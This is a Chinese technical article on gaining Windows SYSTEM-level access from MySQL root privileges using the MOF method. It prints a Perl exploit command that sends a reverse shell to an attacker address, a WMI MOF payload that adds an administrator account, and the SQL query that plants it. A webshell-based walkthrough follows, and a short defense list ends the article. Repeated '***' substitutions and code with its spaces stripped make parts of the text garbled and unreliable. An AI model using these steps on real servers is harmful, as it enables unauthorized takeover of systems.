首页 安全防御正文

技术干货:MySQL数据库Root权限MOF *** 提权研究

【51CTO.com原创稿件】MySQL Root权限MOF *** 提权来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种 *** 编译到 WMI 存储仓库托管对象格式 (MOF) 文件:

*** 1:操作 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

*** 2:使用 IMofCompiler 接口和 $ CompileFile *** 。

*** 3:拖到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到仓库编译 MOF 文件使用前两种 *** 。即操作 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile *** 。第三种 *** 只是向后兼容性和早期版本的 WMI 提供,因为该功能可能不会在未来版本后提供。注意使用MOF *** 提权的前提是当前Root帐户可以将文件复制到%SystemRoot%\System32\Wbem\MOF否则会在目录下失败!

001分析漏洞利用 ***

使用该漏洞的前提是必须具备mysql的root权限,在Kingcope公布的0day其中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql服务器位于数据库中,mysql密码为空,反弹到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

保存以下代码nullevt.mof文件:

  • #pragmanamespace("\\\\.\\root\\subscription")
  • instanceof__EventFilteras$EventFilter
  • {
  • EventNamespace="Root\\Cimv2";
  • Name="filtP2";
  • Query="Select*From__InstanceModificationEvent"
  • "WhereTargetInstanceIsa\"Win32_LocalTime\""
  • "AndTargetInstance.Second=5";
  • QueryLanguage="WQL";
  • };
  • instanceofActiveScriptEventConsumeras$Consumer
  • {
  • Name="consPCSV2";
  • ScriptingEngine=" *** cript";
  • ScriptText=
  • "varWSH=newActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exeuseradminadmin/add")";
  • };
  • instanceof__FilterToConsumerBinding
  • {
  • Consumer=$Consumer;
  • Filter=$EventFilter;
  • };
  • 2.通过Mysql查询导入文件

    执行以下查询语句,生成上述语句nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7默认情况下拒绝访问。系统将自动运行并执行命令。

  • selectload_file('C:\\RECYCLER\\nullevt.mof')intodumpfile'c:/windows/system32/wbem/mof/nullevt.mof';
  • 002实战利用

    1.实验环境

    实验环境为Windows2003 Apache PHP,已经拥有Webshell权限。

    2.将文件上传到可写目录

    将nullevt.mof例如,将文件上传到服务器可写目录中C:\RECYCLER\,如图5-4所示。

    技术干货:MySQL数据库Root权限MOF方法提权研究

    上传文件nullevt.mof

    3.执行命令

    配置中国菜刀,然后通过数据库管理执行查询命令。在执行查询命令之前,您需要选择数据库,然后将以下代码复制到查询句输入框中,如图所示5-5所示。

    select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

    技术干货:MySQL数据库Root权限MOF方法提权研究

    执行查询命令

    4.检查执行结果

    执行后,需要修改添加用户命令,将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传查询,如图所示5-6所示,通过net user查看,果然admin已添加到系统中。

    技术干货:MySQL数据库Root权限MOF方法提权研究

    成功添加用户

    003防范 ***

    Mysql Root权限MOF *** 提权的前提是可以上传nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中间,如果不能复制,提权将失败。一般来说,对Windows2003以下操作系统效果较好,Windows2008由于上述保护机制,成功较少。因此,可以采用预防以下措施:

    1.尽量不要在程序数据库连接文件中使用Root连接帐号。

    2.Root帐户采用强加密法,使用字母大小写 数字 特殊字符,密码位数超过15位。

    3.对Mysql数据库的mysql严格限制数据库目录权限,IIS用户不能读写文件。

    4. 操作系统目录c:\windows\system32\wbem禁止写入。

    【51CTO原稿,合作网站转载请注明原作者和来源51CTO.com】

       
    版权声明

    本文仅代表作者观点,不代表本站立场。
    本文系作者授权发表,未经许可,不得转载。